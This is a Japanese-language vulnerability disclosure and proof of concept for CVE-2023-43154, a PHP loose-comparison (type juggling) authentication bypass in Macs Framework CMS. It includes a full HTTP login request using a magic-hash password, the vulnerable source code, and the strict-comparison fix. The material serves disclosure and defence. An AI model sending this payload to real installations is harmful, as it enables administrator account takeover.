
Mac's CMSにおける型混乱の脆弱性のPoCで、認証バイパスと管理者アカウントの乗っ取りを引き起こします。
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
脆弱性の説明: isValidLogin() 関数における緩い比較により、PHP の型の混乱の脆弱性が発生し、これを悪用して認証をバイパスし、管理者アカウントを乗っ取ることが可能です。
脆弱なパラメータ: CMS 上のユーザーのユーザー名とパスワード。
影響を受ける製品: Macs Framework v1.14f - コンテンツ管理システム
制限事項:
必要なユーザー操作: なし
参考文献: https://github.com/ally-petitt/CVE-2023-43154-PoC
発見日: 2023年9月7日
報告者: Ally Petitt
/index.php/main/cms/login という URI に被害者アカウントのユーザー名とマジックハッシュになる任意のパスワードでログインすると、認証バイパスが発生します。
以下にサンプルログインを示します。
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
ステータスコード200と/index.php/homeへのリダイレクトは、ログイン試行が成功したことを示しています。testadminのパスワードは、ログイン試行で使用されたパスワード(0gdVIdSQL8Cm)ではありませんでした。代わりに、QNKCDZOに設定されていました。
ユーザーがログインしようとすると、入力されたパスワードはハッシュ化され、/index.php/Main/CMS/login へのPOSTリクエスト時に呼び出される最初のlogin()関数を介して、isValidLogin()関数にパラメータとして送信されます。
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
isValidLogin()関数はファイル/Application/plugins/CMS/controllers/CMS.phpの83行目から始まります。この関数は、3つではなく2つの等号を使用しているため、型の混乱の脆弱性に対して脆弱です。
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
if文に示されているように、ユーザー名とパスワードは緩い比較でチェックされており、PHPの型の混乱の脆弱性につながります。これは、マジックハッシュ、つまりPHPが緩い比較中に値0として解釈するハッシュになるパスワードでログインするときに悪用される可能性があります。そのようなパスワードのリストはこちらにあります。
これを悪用するには、まず$account['password']が保存される形式を理解することが重要です。前述のCMS.phpファイルの730行目で新しいユーザーアカウントを保存するために使用される関数では、パスワードが最初にencrypt関数に渡されてから保存されることが明らかになります。
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
次に、パスワードがencryptを通過した後に呼び出される関数では、以下のコードが使用されています。
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
上記のコードから、「暗号化された」パスワードがMVCフレームワークのusersモデルに直接配置されていることが明らかです。最後に、この脆弱性を悪用するには、encrypt関数の出力がユーザー入力と直接比較されるため、その動作を理解する必要があります。
private function encrypt( $string )
{
return md5($string);
}
encrypt関数は、渡された文字列のMD5ハッシュを返します。つまり、login()関数がユーザー指定の認証情報で呼び出されると、入力されたパスワードがハッシュ化され、被害者アカウントの保存されたMD5ハッシュと比較されます。
その意味するところは、PHPの衝突、つまりマジックハッシュを引き起こすパスワードを使用すると、同じくマジックハッシュの形式に従う保存されたパスワードと比較したときに等価として登録されるということです。その結果、初期パスワードが事前に知られていない場合でも、非常に多くのパスワードを使用して管理者アカウントに認証し、乗っ取ることができます。
この脆弱性は、isValidLogin()関数の緩い比較を、==を===に置き換えて厳密な比較に変更することで緩和できます。